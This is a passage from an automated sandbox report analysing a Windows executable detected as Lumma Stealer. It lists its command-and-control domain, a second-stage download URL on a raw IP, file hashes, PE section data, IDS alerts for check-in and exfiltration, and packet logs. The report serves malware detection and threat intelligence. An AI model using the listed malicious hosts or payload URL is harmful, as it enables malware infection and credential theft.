https://crisiwarny.store/fijngjgc	file.exe, 00000000.00000003.1508838998.0000000001938000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1505216928.0000000001927000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1520566964.0000000001938000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1520619731.000000000193C000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1508657954.0000000001937000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1505536352.0000000001927000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1509016080.000000000193C000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1508552491.000000000192D000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696491991400800003.1&ci=1696491991993.12791&cta	file.exe, 00000000.00000003.1509342214.000000000194B000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1505165532.000000000194B000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://185.215.113.16/off/def.exe	file.exe, 00000000.00000003.1629869915.0000000001938000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1640149483.0000000001938000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1628840769.0000000001923000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1640014748.0000000001927000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1639481452.00000000014FA000.00000004.00000010.00020000.00000000.sdmp, file.exe, 00000000.00000003.1629505347.0000000001938000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://crisiwarny.store/	file.exe, file.exe, 00000000.00000003.1467370314.0000000001945000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1441711833.00000000018B0000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1520566964.0000000001938000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1520619731.000000000193C000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1454225148.00000000018D4000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	file.exe, 00000000.00000003.1455058193.0000000005EA8000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1455158112.0000000005EA8000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1454991065.0000000005EAB000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://crisiwarny.store/aping	file.exe, 00000000.00000003.1533360569.0000000001938000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1551775062.000000000193F000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1640149483.000000000193F000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1629505347.000000000193D000.00000004.00000020.00020000.00000000.sdmp	false		unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
104.21.95.91	crisiwarny.store	United States		13335	CLOUDFLARENETUS	true
185.215.113.16	unknown	Portugal		206894	WHOLESALECONNECTIONSNL	false

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1543330
Start date and time:	2024-10-27 17:54:06 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 15s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	6
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	file.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@3/2@2/2
EGA Information:	Successful, ratio: 50%
HCA Information:	Failed
Cookbook Comments:	Found application associated with file extension: .exe Stop behavior analysis, all processes terminated

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, SIHClient.exe, conhost.exe
Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, ctldl.windowsupdate.com, dns.msftncsi.com, fe3cr.delivery.mp.microsoft.com
Execution Graph export aborted for target file.exe, PID 7680 because there are no executed function
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: file.exe

Simulations

Behavior and APIs

Time	Type	Description
12:55:03	API Interceptor	10x Sleep call for process: file.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
104.21.95.91	file.exe	Get hash	malicious	LummaC	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse
	file.exe	Get hash	malicious	LummaC	Browse
	file.exe	Get hash	malicious	LummaC	Browse
	file.exe	Get hash	malicious	LummaC	Browse
	file.exe	Get hash	malicious	LummaC	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, RedLine, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse
	file.exe	Get hash	malicious	LummaC	Browse
185.215.113.16	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16/off/def.exe
	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16/off/def.exe
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	185.215.113.16/Jo89Ku7d/index.php
	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16/off/def.exe
	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16/off/def.exe
	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16/off/def.exe
	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16/off/def.exe
	SecuriteInfo.com.Win32.Evo-gen.20836.29869.exe	Get hash	malicious	LummaC	Browse	185.215.113.16/off/def.exe
	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16/off/def.exe
	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16/off/def.exe

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
crisiwarny.store	file.exe	Get hash	malicious	LummaC	Browse	104.21.95.91
	MilkaCheats.exe	Get hash	malicious	LummaC	Browse	172.67.170.64
	file.exe	Get hash	malicious	LummaC	Browse	172.67.170.64
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	104.21.95.91
	file.exe	Get hash	malicious	LummaC	Browse	104.21.95.91
	file.exe	Get hash	malicious	LummaC	Browse	104.21.95.91
	file.exe	Get hash	malicious	LummaC	Browse	172.67.170.64
	file.exe	Get hash	malicious	LummaC	Browse	104.21.95.91
	file.exe	Get hash	malicious	LummaC	Browse	172.67.170.64
	file.exe	Get hash	malicious	LummaC	Browse	172.67.170.64

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CLOUDFLARENETUS	file.exe	Get hash	malicious	LummaC	Browse	104.21.95.91
	SecuriteInfo.com.Win64.CrypterX-gen.14264.32283.exe	Get hash	malicious	LummaC	Browse	104.21.64.165
	MilkaCheats.exe	Get hash	malicious	LummaC	Browse	172.67.170.64
	file.exe	Get hash	malicious	LummaC	Browse	172.67.170.64
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	104.21.95.91
	17300406664afe7aec458893633a7734ab1b119dd638ebaf863f6f65e2e732ab9f2f071556149.dat-decoded.exe	Get hash	malicious	Zhark RAT	Browse	104.21.44.95
	17300406664afe7aec458893633a7734ab1b119dd638ebaf863f6f65e2e732ab9f2f071556149.dat-decoded.exe	Get hash	malicious	Zhark RAT	Browse	172.67.198.131
	care.rtf	Get hash	malicious	Unknown	Browse	104.21.43.157
	file.exe	Get hash	malicious	LummaC	Browse	104.21.95.91
	na.doc	Get hash	malicious	MassLogger RAT	Browse	188.114.96.3
WHOLESALECONNECTIONSNL	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	0j6nSbUQQS.dll	Get hash	malicious	Amadey	Browse	185.215.113.217
	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
a0e9f5d64349fb13191bc781f81f42e1	file.exe	Get hash	malicious	LummaC	Browse	104.21.95.91
	SecuriteInfo.com.Win64.CrypterX-gen.14264.32283.exe	Get hash	malicious	LummaC	Browse	104.21.95.91
	MilkaCheats.exe	Get hash	malicious	LummaC	Browse	104.21.95.91
	file.exe	Get hash	malicious	LummaC	Browse	104.21.95.91
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	104.21.95.91
	file.exe	Get hash	malicious	LummaC	Browse	104.21.95.91
	file.exe	Get hash	malicious	LummaC	Browse	104.21.95.91
	file.exe	Get hash	malicious	LummaC	Browse	104.21.95.91
	file.exe	Get hash	malicious	LummaC	Browse	104.21.95.91
	file.exe	Get hash	malicious	LummaC	Browse	104.21.95.91

Process:	C:\Users\user\AppData\Local\Temp\TAW4YM7XHY64JPKK4AWZZOV.exe
File Type:	CSV text
Category:	dropped
Size (bytes):	226
Entropy (8bit):	5.360398796477698
Encrypted:	false
SSDEEP:	6:Q3La/xw5DLIP12MUAvvR+uTL2ql2ABgTv:Q3La/KDLI4MWuPTAv
MD5:	3A8957C6382192B71471BD14359D0B12
SHA1:	71B96C965B65A051E7E7D10F61BEBD8CCBB88587
SHA-256:	282FBEFDDCFAA0A9DBDEE6E123791FC4B8CB870AE9D450E6394D2ACDA3D8F56D
SHA-512:	76C108641F682F785A97017728ED51565C4F74B61B24E190468E3A2843FCC43615C6C8ABE298750AF238D7A44E97C001E3BE427B49900432F905A7CE114AA9AD
Malicious:	false
Reputation:	high, very likely benign file
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\920e3d1d70447c3c10e69e6df0766568\System.ni.dll",0..

C:\Users\user\AppData\Local\Temp\TAW4YM7XHY64JPKK4AWZZOV.exe

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2793472
Entropy (8bit):	6.454946720880968
Encrypted:	false
SSDEEP:	24576:6Dkj3AwjiLtf//DlcyJj5IvTv2kvh99JlhU+b/9E31XIkAUwJIXHRgjAiHR1HBBg:vcjLihh79EdYIXRSHR1HBG
MD5:	571F62006068A39F4AD351EF6B397F8D
SHA1:	1960ED897B6D0358EBC30BE5F367CDE88DB21EE9
SHA-256:	A5E35B4EB2532B70B1845DDAA0374E8B817D4C6097B0DFD385FE2964EF41B3C5
SHA-512:	7E7F9B0FA36A3C23581A7A8C605140EF3C721DCF51D2E82A84AE08D8574052076F2013EC65FEA4789CD25EE01FFF9D92533A95DFB76880A44B5C8E57D1CD7E2C
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 34%
Reputation:	low
Preview:	MZ......................@...........z...................................!..L.!This program cannot be run in DOS mode....$.......PE..L...P(,e.........."...0..$............+.. ...`....@.. .......................@+......5+...`.................................U...i....`.............................................................................................................. . .@... ....... ..............@....rsrc........`.......2..............@....idata . ...........8..............@...mfetmjcm.@......@..:..............@...cflgwhxy. ..........z.............@....taggant.@....+.."...~*.............@...................................................................................................................................................................................................................................................................................................................................................................................................

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	6.530382127388796
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	file.exe
File size:	2'995'712 bytes
MD5:	7e8f6d6eb856aab8b82676176035c78f
SHA1:	72d70bec6a141e294077ff50273c7b611095cf4f
SHA256:	a21df6df28630c19eabf468f3b4e1b6b95d451310619a79c0c8392298c86bf7c
SHA512:	b5834fd7a1daf97e684c68bc2c53837b60a6951f3ae4209d90acf1914b751bd8b2b92d2b46ad5a001c3618eea944f67e8ddf9c869bb3f54fb85c5b9f98e3c28d
SSDEEP:	49152:ktZdhsGI13xN8rtwuNR+NzX2rh8k5xCwaSNr4NBsl:kLdcNswuv+RX2r+k5xH9Nr4NBsl
TLSH:	F3D54B92A90576CBD88F27788837CD83696D02BD072548C3ACEDB87E7D67DC111B6C29
File Content Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L...S..g.................J............0...........@...........................0.....\.-...@.................................T...h..

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0x70c000
Entrypoint Section:	.taggant
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x6715D353 [Mon Oct 21 04:06:43 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	2eabe9054cad5152567f0699947a2c5b

Entrypoint Preview

Instruction
jmp 00007F0CFD233E6Ah
sete byte ptr [00000000h]
add cl, ch
add byte ptr [eax], ah
add byte ptr [eax], al
add byte ptr [esi], al
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], dh
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
or byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [edi], al
add byte ptr [eax], 00000000h
add byte ptr [eax], al
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
push es
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], dh
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [edi], bh
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [edx], ah
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [edi], al
add byte ptr [eax], 00000000h
add byte ptr [eax], al
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
push es
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], dh
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax+eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add dword ptr [eax+00000000h], eax
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
push es
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], dh
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [ecx], al
add byte ptr [eax], 00000000h
add byte ptr [eax], al
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x5a054	0x68	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x0	0x0
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x5a1f8	0x8	.idata
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x58000	0x27e00	93ef9bb876ea8efa69bd72fe7aada69a	False	0.9979182993730408	data	7.971013518267259	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x59000	0x1000	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x5a000	0x1000	0x200	555a11fa24a077379003c187d9c9d020	False	0.14453125	data	0.9996515881509258	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
demkmbue	0x5b000	0x2b0000	0x2afe00	ed9fac215d55935b0715dc9b25bcd940	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
asnnbczd	0x30b000	0x1000	0x600	dd815a39b9fa82d2659de589d60121c6	False	0.5735677083333334	data	4.972758117966171	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.taggant	0x30c000	0x3000	0x2200	7c3e73ea83f941108cdd072df06fee37	False	0.09225643382352941	DOS executable (COM)	1.1304063099746413	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Imports

DLL	Import
kernel32.dll	lstrcpy

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-10-27T17:55:05.805256+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.8	49705	104.21.95.91	443	TCP
2024-10-27T17:55:05.805256+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.8	49705	104.21.95.91	443	TCP
2024-10-27T17:55:06.957843+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.8	49706	104.21.95.91	443	TCP
2024-10-27T17:55:06.957843+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.8	49706	104.21.95.91	443	TCP
2024-10-27T17:55:13.706093+0100	2048094	ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration	1	192.168.2.8	49710	104.21.95.91	443	TCP
2024-10-27T17:55:14.949530+0100	2843864	ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2	1	192.168.2.8	49711	104.21.95.91	443	TCP
2024-10-27T17:55:18.024908+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.8	49712	104.21.95.91	443	TCP
2024-10-27T17:55:18.941391+0100	2019714	ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile	2	192.168.2.8	49713	185.215.113.16	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 27, 2024 17:55:04.400424957 CET	49705	443	192.168.2.8	104.21.95.91
Oct 27, 2024 17:55:04.400481939 CET	443	49705	104.21.95.91	192.168.2.8
Oct 27, 2024 17:55:04.400568962 CET	49705	443	192.168.2.8	104.21.95.91
Oct 27, 2024 17:55:04.403594971 CET	49705	443	192.168.2.8	104.21.95.91
Oct 27, 2024 17:55:04.403609991 CET	443	49705	104.21.95.91	192.168.2.8
Oct 27, 2024 17:55:05.022001982 CET	443	49705	104.21.95.91	192.168.2.8
Oct 27, 2024 17:55:05.022404909 CET	49705	443	192.168.2.8	104.21.95.91
Oct 27, 2024 17:55:05.064022064 CET	49705	443	192.168.2.8	104.21.95.91
Oct 27, 2024 17:55:05.064040899 CET	443	49705	104.21.95.91	192.168.2.8
Oct 27, 2024 17:55:05.064485073 CET	443	49705	104.21.95.91	192.168.2.8
Oct 27, 2024 17:55:05.104780912 CET	49705	443	192.168.2.8	104.21.95.91
Oct 27, 2024 17:55:05.302545071 CET	49705	443	192.168.2.8	104.21.95.91
Oct 27, 2024 17:55:05.302706957 CET	49705	443	192.168.2.8	104.21.95.91
Oct 27, 2024 17:55:05.302752972 CET	443	49705	104.21.95.91	192.168.2.8
Oct 27, 2024 17:55:05.805324078 CET	443	49705	104.21.95.91	192.168.2.8
Oct 27, 2024 17:55:05.805547953 CET	443	49705	104.21.95.91	192.168.2.8
Oct 27, 2024 17:55:05.805711031 CET	49705	443	192.168.2.8	104.21.95.91
Oct 27, 2024 17:55:05.806927919 CET	49705	443	192.168.2.8	104.21.95.91
Oct 27, 2024 17:55:05.806946039 CET	443	49705	104.21.95.91	192.168.2.8
Oct 27, 2024 17:55:05.806983948 CET	49705	443	192.168.2.8	104.21.95.91
Oct 27, 2024 17:55:05.806991100 CET	443	49705	104.21.95.91	192.168.2.8
Oct 27, 2024 17:55:05.875821114 CET	49706	443	192.168.2.8	104.21.95.91
Oct 27, 2024 17:55:05.875848055 CET	443	49706	104.21.95.91	192.168.2.8
Oct 27, 2024 17:55:05.875935078 CET	49706	443	192.168.2.8	104.21.95.91
Oct 27, 2024 17:55:05.876403093 CET	49706	443	192.168.2.8	104.21.95.91
Oct 27, 2024 17:55:05.876415968 CET	443	49706	104.21.95.91	192.168.2.8
Oct 27, 2024 17:55:06.484627008 CET	443	49706	104.21.95.91	192.168.2.8
Oct 27, 2024 17:55:06.484728098 CET	49706	443	192.168.2.8	104.21.95.91
Oct 27, 2024 17:55:06.486877918 CET	49706	443	192.168.2.8	104.21.95.91
Oct 27, 2024 17:55:06.486886024 CET	443	49706	104.21.95.91	192.168.2.8
Oct 27, 2024 17:55:06.487149000 CET	443	49706	104.21.95.91	192.168.2.8
Oct 27, 2024 17:55:06.489027023 CET	49706	443	192.168.2.8	104.21.95.91
Oct 27, 2024 17:55:06.489072084 CET	49706	443	192.168.2.8	104.21.95.91
Oct 27, 2024 17:55:06.489105940 CET	443	49706	104.21.95.91	192.168.2.8
Oct 27, 2024 17:55:06.957917929 CET	443	49706	104.21.95.91	192.168.2.8
Oct 27, 2024 17:55:06.958101034 CET	443	49706	104.21.95.91	192.168.2.8
Oct 27, 2024 17:55:06.958172083 CET	49706	443	192.168.2.8	104.21.95.91
Oct 27, 2024 17:55:06.958184958 CET	443	49706	104.21.95.91	192.168.2.8
Oct 27, 2024 17:55:06.958285093 CET	443	49706	104.21.95.91	192.168.2.8
Oct 27, 2024 17:55:06.958374023 CET	443	49706	104.21.95.91	192.168.2.8
Oct 27, 2024 17:55:06.958431005 CET	49706	443	192.168.2.8	104.21.95.91
Oct 27, 2024 17:55:06.958439112 CET	443	49706	104.21.95.91	192.168.2.8
Oct 27, 2024 17:55:06.958494902 CET	49706	443	192.168.2.8	104.21.95.91
Oct 27, 2024 17:55:06.958501101 CET	443	49706	104.21.95.91	192.168.2.8
Oct 27, 2024 17:55:06.958594084 CET	443	49706	104.21.95.91	192.168.2.8
Oct 27, 2024 17:55:06.958645105 CET	49706	443	192.168.2.8	104.21.95.91
Oct 27, 2024 17:55:06.958651066 CET	443	49706	104.21.95.91	192.168.2.8
Oct 27, 2024 17:55:06.959005117 CET	443	49706	104.21.95.91	192.168.2.8
Oct 27, 2024 17:55:06.959060907 CET	49706	443	192.168.2.8	104.21.95.91
Oct 27, 2024 17:55:06.959068060 CET	443	49706	104.21.95.91	192.168.2.8
Oct 27, 2024 17:55:07.011018991 CET	49706	443	192.168.2.8	104.21.95.91
Oct 27, 2024 17:55:07.076035976 CET	443	49706	104.21.95.91	192.168.2.8
Oct 27, 2024 17:55:07.076318026 CET	443	49706	104.21.95.91	192.168.2.8
Oct 27, 2024 17:55:07.076379061 CET	49706	443	192.168.2.8	104.21.95.91
Oct 27, 2024 17:55:07.076394081 CET	443	49706	104.21.95.91	192.168.2.8
Oct 27, 2024 17:55:07.076474905 CET	443	49706	104.21.95.91	192.168.2.8
Oct 27, 2024 17:55:07.076528072 CET	49706	443	192.168.2.8	104.21.95.91
Oct 27, 2024 17:55:07.076534986 CET	443	49706	104.21.95.91	192.168.2.8
Oct 27, 2024 17:55:07.076738119 CET	443	49706	104.21.95.91	192.168.2.8
Oct 27, 2024 17:55:07.076797962 CET	49706	443	192.168.2.8	104.21.95.91
Oct 27, 2024 17:55:07.076858044 CET	49706	443	192.168.2.8	104.21.95.91
Oct 27, 2024 17:55:07.076872110 CET	443	49706	104.21.95.91	192.168.2.8
Oct 27, 2024 17:55:07.076885939 CET	49706	443	192.168.2.8	104.21.95.91
Oct 27, 2024 17:55:07.076890945 CET	443	49706	104.21.95.91	192.168.2.8
Oct 27, 2024 17:55:07.215085030 CET	49707	443	192.168.2.8	104.21.95.91
Oct 27, 2024 17:55:07.215123892 CET	443	49707	104.21.95.91	192.168.2.8
Oct 27, 2024 17:55:07.215209961 CET	49707	443	192.168.2.8	104.21.95.91
Oct 27, 2024 17:55:07.215615988 CET	49707	443	192.168.2.8	104.21.95.91
Oct 27, 2024 17:55:07.215629101 CET	443	49707	104.21.95.91	192.168.2.8
Oct 27, 2024 17:55:07.834968090 CET	443	49707	104.21.95.91	192.168.2.8
Oct 27, 2024 17:55:07.835083008 CET	49707	443	192.168.2.8	104.21.95.91
Oct 27, 2024 17:55:07.836328030 CET	49707	443	192.168.2.8	104.21.95.91
Oct 27, 2024 17:55:07.836344004 CET	443	49707	104.21.95.91	192.168.2.8
Oct 27, 2024 17:55:07.837306023 CET	443	49707	104.21.95.91	192.168.2.8
Oct 27, 2024 17:55:07.838812113 CET	49707	443	192.168.2.8	104.21.95.91
Oct 27, 2024 17:55:07.838926077 CET	49707	443	192.168.2.8	104.21.95.91
Oct 27, 2024 17:55:07.838957071 CET	443	49707	104.21.95.91	192.168.2.8
Oct 27, 2024 17:55:08.391064882 CET	443	49707	104.21.95.91	192.168.2.8
Oct 27, 2024 17:55:08.391345024 CET	443	49707	104.21.95.91	192.168.2.8
Oct 27, 2024 17:55:08.391345978 CET	49707	443	192.168.2.8	104.21.95.91
Oct 27, 2024 17:55:08.391421080 CET	49707	443	192.168.2.8	104.21.95.91
Oct 27, 2024 17:55:08.512295008 CET	49708	443	192.168.2.8	104.21.95.91
Oct 27, 2024 17:55:08.512357950 CET	443	49708	104.21.95.91	192.168.2.8
Oct 27, 2024 17:55:08.512414932 CET	49708	443	192.168.2.8	104.21.95.91
Oct 27, 2024 17:55:08.513508081 CET	49708	443	192.168.2.8	104.21.95.91
Oct 27, 2024 17:55:08.513525963 CET	443	49708	104.21.95.91	192.168.2.8
Oct 27, 2024 17:55:09.127742052 CET	443	49708	104.21.95.91	192.168.2.8
Oct 27, 2024 17:55:09.127885103 CET	49708	443	192.168.2.8	104.21.95.91
Oct 27, 2024 17:55:09.129596949 CET	49708	443	192.168.2.8	104.21.95.91
Oct 27, 2024 17:55:09.129630089 CET	443	49708	104.21.95.91	192.168.2.8
Oct 27, 2024 17:55:09.130131960 CET	443	49708	104.21.95.91	192.168.2.8
Oct 27, 2024 17:55:09.131372929 CET	49708	443	192.168.2.8	104.21.95.91
Oct 27, 2024 17:55:09.131532907 CET	49708	443	192.168.2.8	104.21.95.91
Oct 27, 2024 17:55:09.131583929 CET	443	49708	104.21.95.91	192.168.2.8
Oct 27, 2024 17:55:09.131685019 CET	49708	443	192.168.2.8	104.21.95.91
